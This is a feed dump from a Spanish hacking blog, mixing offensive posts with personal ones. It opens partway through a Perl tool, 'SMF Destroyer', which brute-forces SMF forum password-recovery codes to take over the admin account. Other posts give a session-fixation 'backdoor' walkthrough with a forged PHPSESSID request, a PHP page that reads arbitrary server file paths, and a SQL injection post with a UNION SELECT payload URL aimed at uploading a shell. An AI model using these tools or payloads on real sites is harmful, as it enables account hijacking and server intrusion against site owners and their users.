$reminder.';sa=mail');&lt;br /&gt; $req-&amp;gt;content_type('application/x-www-form-urlencoded');&lt;br /&gt; $req-&amp;gt;content('user='.$nick.'&amp;amp;sc='.$sc.'&amp;amp;=enviar');&lt;br /&gt; $req-&amp;gt;header('Cookie' =&amp;gt; $session);&lt;br /&gt;my $res = $ua-&amp;gt;request($req)-&amp;gt;as_string;&lt;br /&gt;if(!$res) {exit;}&lt;br /&gt;print "[x]Sent!\n";&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub generador() {&lt;br /&gt;my $password = "";&lt;br /&gt;my $checksum = "";&lt;br /&gt;my @chars = split(" ","0 1 2 3 4 5 6 7 8 9 a b c d e f");&lt;br /&gt;for (my $i=0; $i &amp;lt; 10 ;$i++) {&lt;br /&gt; $_rand = int(rand 16);&lt;br /&gt; $password .= $chars[$_rand];&lt;br /&gt;}&lt;br /&gt;return $password;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub brute() {&lt;br /&gt;while($bucle ne "finito") {&lt;br /&gt;$code = generador();&lt;br /&gt; my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;&lt;br /&gt; my $content = HTTP::Request-&amp;gt;new(GET =&amp;gt; $reminder);&lt;br /&gt; my $content = $ua-&amp;gt;request($content)-&amp;gt;as_string;&lt;br /&gt;if ($content =~ /&amp;lt;input type="hidden" name="sc" value="(.*?)"/){&lt;br /&gt; $sc = $1;&lt;br /&gt;} else { die "[!] SC could not be found!\n";}&lt;br /&gt;if ($content =~ /Set-Cookie: (.*?)&lt;br /&gt;/){&lt;br /&gt;       print "\n[+] New SESSION Detected: $1\n";&lt;br /&gt;$session = $1;&lt;br /&gt;} else { die "[!] SESSION could not be found!\n";}&lt;br /&gt;print "[+] Testing Code: ".$code."\n";&lt;br /&gt;my $req = HTTP::Request-&amp;gt;new(POST =&amp;gt; $reminder.';sa=mail');&lt;br /&gt; $req-&amp;gt;content_type('application/x-www-form-urlencoded');&lt;br /&gt; $req-&amp;gt;content('passwrd1=xianur0washere&amp;amp;passwrd2=xianur0washere&amp;amp;code='.$code.'&amp;amp;u='.$id.'&amp;amp;sc='.$sc);&lt;br /&gt; $req-&amp;gt;header('Cookie' =&amp;gt; $session);&lt;br /&gt; $res = $ua-&amp;gt;request($req);&lt;br /&gt; if ($res-&amp;gt;is_success) {&lt;br /&gt;    if($res-&amp;gt;content =~ '&amp;lt;input type="text" name="user" size="20" value="') {&lt;br /&gt;print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;} else { die "[!] HTTP response incorrect!\n";}}}&lt;br /&gt;&lt;br /&gt;print "\n[-] Sending Mail...\n\n";&lt;br /&gt;mail();&lt;br /&gt;print "\n[-] Attacking code link recovery...\n";&lt;br /&gt;brute();&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Nota: Gracias Gente por hacerme notar que los códigos de los links tienen checksum :)..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;la funcion del crackeador es la que esta activa en todos los SMF, es decir, no hay un sistema anti-flood/que filtre el probar códigos para resolver el link de recuperación, es decir envio el mail de recuperación a la cuenta del admin, y se le envia un link con un código de 10 caracteres que solo cubren letras y numeros, y además no hay un sistema que detecte cuando se esta usando un bot para probar los códigos del link (es decir se genera aleatorio 10 caracteres y se prueba intentar cambiar la password y si el admin no ve el correo en su bandeja, en un rato la tool lograra descubrir el código del link de recuperación y cambiar la password, por ende en un rato con esa tool ya tienes la cuenta del admin :)...)&lt;br /&gt;&lt;br /&gt;todo esto automatizado (desde el envio del mail hasta el cambiar la password y generar el código).&lt;br /&gt;&lt;br /&gt;Simple no?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8731689633964829749?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8731689633964829749/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8731689633964829749' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8731689633964829749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8731689633964829749'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/01/smf-destroyer-01-by-xianur0-prov8.html' title='SMF Destroyer 0.1 By Xianur0 [Priv8 Liberado]'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8681267361904029177</id><published>2009-01-02T13:23:00.000-08:00</published><updated>2009-01-02T13:25:51.920-08:00</updated><title type='text'>Editor Hexadecimal PHP By Xianur0</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;function html() {&lt;br /&gt;print '&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Editor Hexadecimal PHP By Xianur0&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;h1&amp;gt;Editor Hexadecimal PHP By Xianur0&amp;lt;/h1&amp;gt;&lt;br /&gt;&amp;lt;form method="post"&amp;gt;&lt;br /&gt;Path Archivo: &amp;lt;input name="archivo" type="text"&amp;gt;&lt;br /&gt;&amp;lt;br&amp;gt;&amp;lt;input type="submit" value="Hex!"&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;';&lt;br /&gt;}&lt;br /&gt;function descargar($descargar){&lt;br /&gt;   header("Content-type: application/octet-stream");&lt;br /&gt;   header("Content-Disposition: attachment; filename=cambiarnombre\n");&lt;br /&gt;   print $descargar;&lt;br /&gt;}&lt;br /&gt;if(isset($_POST['archivo'])) {&lt;br /&gt;define("path",$_POST['archivo']);&lt;br /&gt;function detectar($byte) {&lt;br /&gt;$linea = 1;&lt;br /&gt;print "&amp;lt;form method='post'&amp;gt;&amp;lt;textarea name='modificado' rows='20' cols='40'&amp;gt;";&lt;br /&gt;for ($i = 0; $i &amp;lt; strlen($byte); $i++) {&lt;br /&gt;if(is_int($i/8)) {$linea++; $caracter = "\n".$linea.". ";} else $caracter = " ";&lt;br /&gt;$ordenados .= $byte{$i}.$caracter;&lt;br /&gt;$ordenadosh .= ord($byte{$i}).$caracter;&lt;br /&gt;}&lt;br /&gt;print "1. ";&lt;br /&gt;print $ordenadosh;&lt;br /&gt;print "&amp;lt;/textarea&amp;gt;&amp;lt;textarea readonly='true' rows='20' cols='40'&amp;gt;";&lt;br /&gt;print "1. ";&lt;br /&gt;print $ordenados."&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type='submit' value='Guardar!'&amp;gt;&amp;lt;/form&amp;gt;";&lt;br /&gt;}&lt;br /&gt;$handle = @fopen(path, "rb");&lt;br /&gt;$codigo = @fread($handle, filesize(path));&lt;br /&gt;@fclose($handle);&lt;br /&gt;detectar($codigo);&lt;br /&gt;}&lt;br /&gt;if(isset($_POST['modificado'])) {&lt;br /&gt;function guardar($modificado) {&lt;br /&gt;$lineas = explode("\n", $modificado);&lt;br /&gt;foreach($lineas as $valor) {&lt;br /&gt;$valores = explode(".", $valor);&lt;br /&gt;$cadena .= $valores[1];&lt;br /&gt;}&lt;br /&gt;$caracter = explode(" ", $cadena);&lt;br /&gt;foreach($caracter as $valor) {&lt;br /&gt;$legible .= chr($valor);&lt;br /&gt;}&lt;br /&gt;descargar($legible);&lt;br /&gt;}&lt;br /&gt;guardar($_POST['modificado']);&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;html();&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8681267361904029177?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8681267361904029177/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8681267361904029177' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8681267361904029177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8681267361904029177'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2009/01/editor-hexadecimal-php-by-xianur0.html' title='Editor Hexadecimal PHP By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-7926602947387120860</id><published>2008-12-24T12:41:00.001-08:00</published><updated>2008-12-24T12:45:17.801-08:00</updated><title type='text'>Feliz Navidad Cabrones!!!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_UbB1YAg3klE/SVKfR6JIc_I/AAAAAAAAAEk/R93i7_NNrh8/s1600-h/Mago_De_Oz-Feliz_Navidad_Cabrones_%28CD_Single%29-Frontal.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 289px; height: 289px;" src="http://4.bp.blogspot.com/_UbB1YAg3klE/SVKfR6JIc_I/AAAAAAAAAEk/R93i7_NNrh8/s200/Mago_De_Oz-Feliz_Navidad_Cabrones_%28CD_Single%29-Frontal.jpg" alt="" id="BLOGGER_PHOTO_ID_5283460442873164786" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-7926602947387120860?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/7926602947387120860/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=7926602947387120860' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7926602947387120860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/7926602947387120860'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/12/feliz-navidad-cabrones.html' title='Feliz Navidad Cabrones!!!!'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UbB1YAg3klE/SVKfR6JIc_I/AAAAAAAAAEk/R93i7_NNrh8/s72-c/Mago_De_Oz-Feliz_Navidad_Cabrones_%28CD_Single%29-Frontal.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2148004123716543670</id><published>2008-12-21T22:01:00.001-08:00</published><updated>2008-12-21T22:02:43.943-08:00</updated><title type='text'>Atacando Headers HTTP By Xianur0</title><content type='html'>me da la vagancia de pasarlo a html y publicarlo aqui, asi que les dejo el link al foro donde publique el paper...&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.infiernohacker.com/index.php/topic,9186.msg52246/topicseen.html"&gt;http://foro.infiernohacker.com/index.php/topic,9186.msg52246/topicseen.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2148004123716543670?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2148004123716543670/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2148004123716543670' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2148004123716543670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2148004123716543670'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/12/atacando-headers-http-by-xianur0.html' title='Atacando Headers HTTP By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-8329431174447605971</id><published>2008-12-11T12:45:00.000-08:00</published><updated>2008-12-11T12:49:10.419-08:00</updated><title type='text'>Proyecto w3af</title><content type='html'>pues estuve revisando mis correos cuando vi un mail de uno de los lectores del blog, y pues me comento de este proyecto, que sinceramente me paresio muy interesante:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El 11 de diciembre de 2008 12:27, José Ramón Palanco escribió:&lt;/span&gt;&lt;br /&gt;Buenas,&lt;br /&gt;&lt;br /&gt;que tal, llevo unas semanas siguiendo tu blog y es muy entretenido.&lt;br /&gt;Me gustaría hablarte de un proyecto software libre en el que estamos&lt;br /&gt;desarrollando, se llama w3af y es un framework de test de intrusion&lt;br /&gt;web en python. Si no lo conoces estoy seguro de que te gustará. Por&lt;br /&gt;otro lado si quieres hacer cualquier aportación, solo tienes que&lt;br /&gt;enviarlo a la lista.&lt;br /&gt;&lt;br /&gt;Web del proyecto: &lt;a href="http://w3af.sf.net/" target="_blank"&gt;http://w3af.sf.net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;les recomiendo leer la web del proyecto, es realmente muy bueno, aunque se le podrían agregar algunas cosas.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Felicidades a los miembros de ese proyecto :)..&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-8329431174447605971?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/8329431174447605971/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=8329431174447605971' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8329431174447605971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/8329431174447605971'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/12/proyecto-w3af.html' title='Proyecto w3af'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-2785954234342782740</id><published>2008-12-10T16:24:00.000-08:00</published><updated>2008-12-10T16:26:12.695-08:00</updated><title type='text'>Backdoors En Sesiones PHP By Xianur0</title><content type='html'>&lt;span style="font-size: 12pt; line-height: 1.3em;"&gt;&lt;b&gt;Backdoors En Sesiones PHP By Xianur0&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Simple, esto consiste en una mezcla de XSRF y Un mini Bug en las sessiones PHP&lt;br /&gt;Que necesitamos?, simplemente que la web utilice sessiones y un clic del admin.&lt;br /&gt;&lt;br /&gt;Vamos por un inicio, envenenar un sistema, solo se necesita de:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold;" class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;session_start();&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;localizamos un codigo con esa funcion publica, se necesita únicamente enviar una session falsa al servidor este la creara y sera utilizada por el usuario mientras dicha session exista en el servidor victima.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold;" class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;GET /vuln.php HTTP/1.1&lt;br /&gt;Host: victima.com&lt;br /&gt;Cookie: PHPSESSID=xianur0&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;En cuanto el servidor reciba esa consulta la funcion: session_start() de PHP, creara dicha session dentro del servidor (es recomendable haberla seteado en el navegador, para lo cual hay muchos metodos, pero ahora solo dare teoría).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;entonces, ahora si esta seteada la session en el navegador y el usuario se logea en el servidor (el php usando sessiones para ello), la session xianur0 conteneria los datos:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold;" class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;?php&lt;br /&gt;$_SESSION&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'is_admin'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;]=&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"true"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;dentro del archivo sess_xianur0 se encontrara esto:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-weight: bold;" class="quoteheader"&gt;Citar&lt;/div&gt;&lt;div style="font-style: italic;" class="quote"&gt;is_admin|s:4:"true";&lt;/div&gt;&lt;br /&gt;entonces la session ya contiene los datos del usuario, ahora podemos usar dicha session (ya sabemos que la session es xianur0 jejeje).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-2785954234342782740?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/2785954234342782740/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=2785954234342782740' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2785954234342782740'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/2785954234342782740'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/12/backdoors-en-sesiones-php-by-xianur0.html' title='Backdoors En Sesiones PHP By Xianur0'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-555170800022086060</id><published>2008-11-28T18:27:00.000-08:00</published><updated>2008-11-28T18:31:43.890-08:00</updated><title type='text'>Filtrado de Caracteres Mediante ASCII y PHP</title><content type='html'>&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;function detectar($ascii) {&lt;br /&gt;for ($i = 0; $i &amp;lt; strlen($ascii); $i++) {&lt;br /&gt;$byte = ord($ascii{$i});&lt;br /&gt;if($byte &amp;gt;=48 &amp;amp;&amp;amp; $byte &amp;lt;=57 || $byte &amp;gt;=64 &amp;amp;&amp;amp; $byte &amp;lt;=90 || $byte &amp;gt;=97 &amp;amp;&amp;amp; $byte &amp;lt;=122 || $byte == 46) {&lt;br /&gt;$hex .= chr($byte);&lt;br /&gt;} else { print "Injeccion de Caracteres Detectado!\n"; exit; }&lt;br /&gt;}&lt;br /&gt;return $hex;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach($_GET as $var =&amp;gt; $value) {&lt;br /&gt;$value = detectar($value);&lt;br /&gt;$_GET[$var] = $value;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;foreach($_POST as $var =&amp;gt; $value) {&lt;br /&gt;$value = detectar($value);&lt;br /&gt;$_GET[$var] = $value;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;solo pasan letras, arroba, números (ni espacios pasan xD).&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-555170800022086060?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/555170800022086060/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=555170800022086060' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/555170800022086060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/555170800022086060'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/filtrado-de-caracteres-mediante-ascii-y.html' title='Filtrado de Caracteres Mediante ASCII y PHP'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5289297754880092531</id><published>2008-11-23T14:59:00.000-08:00</published><updated>2008-11-28T15:26:01.531-08:00</updated><title type='text'>Multiples Tecnicas de Bypass</title><content type='html'>&lt;b&gt;Esta lista la iré llenando, pero por ahora pondré un vídeo (con sus respectivas herramientas que use de ejemplo).&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="line-height: 1.3em;font-size:12;" &gt;&lt;b&gt;Bypass&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;a href="http://www.megaupload.com/?d=1888F81L" target="_blank"&gt;Video Bypass Sessiones PHP Mediante SQL Injection&lt;/a&gt;&lt;br /&gt;&lt;a href="http://xianur0.blogspot.com/2008/08/bypasseando-logins-flash.html" target="_blank"&gt;Bypassear Logins Flashs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;nota:&lt;/b&gt; Actualizado el vídeo, el anterior no se veía.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5289297754880092531?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5289297754880092531/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5289297754880092531' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5289297754880092531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5289297754880092531'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/multiples-tecnicas-de-bypass.html' title='Multiples Tecnicas de Bypass'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-3942338132363158800</id><published>2008-11-22T10:27:00.001-08:00</published><updated>2008-11-22T10:30:44.934-08:00</updated><title type='text'>Economia For Dummies</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Felicidades a Ramón Redondo de Geek In Love&lt;br /&gt;(clic en la imagen para ver completa)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3041/3045796648_0f65b29176_o.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 1142px;" src="http://farm4.static.flickr.com/3041/3045796648_0f65b29176_o.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Liquidez:&lt;/span&gt; En economía la &lt;b&gt;liquidez&lt;/b&gt; representa la cualidad de los activos para ser convertidos en dinero efectivo de forma inmediata sin pérdida significativa de su valor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Activos: &lt;/span&gt;Bienes con valor comercial que una compañía posee y que aparecen en su balance general, con inclusión de dinero en efectivo, equipo, inventario, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-3942338132363158800?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/3942338132363158800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=3942338132363158800' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3942338132363158800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/3942338132363158800'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/11/economia-for-dummies.html' title='Economia For Dummies'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1028402663046966606</id><published>2008-11-20T19:05:00.000-08:00</published><updated>2008-11-25T12:34:52.018-08:00</updated><title type='text'>Rootear Servidor Mediante SQL Injection</title><content type='html'>No es tanto como rootear pero si se puede subir shell jeje..&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Xianur0&lt;/span&gt; &lt;span style="color: rgb(51, 102, 255);"&gt;~ #&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;perl fuzzer.pl http://localhost/vuln.php?id=&lt;br /&gt;Imprime Columna: 0&lt;br /&gt;Imprime Columna: 1&lt;br /&gt;Imprime Columna: 2&lt;br /&gt;URI Generado:&lt;br /&gt;http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0),concat(0x46757a7a657242795869616e757230,1),concat(0x46757a7a657242795869616e757230,2)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(utilizamos el mismo script que en el &lt;a href="http://xianur0.blogspot.com/2008/09/testeando-mysql-mediante-bases-de-datos.html"&gt;ultimo manual de SQL Injection que publique&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fuzzer.pl:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;div align="center"&gt;&lt;pre style="overflow: auto; width: 400px; height: 150px;"&gt;&lt;div align="left"&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br 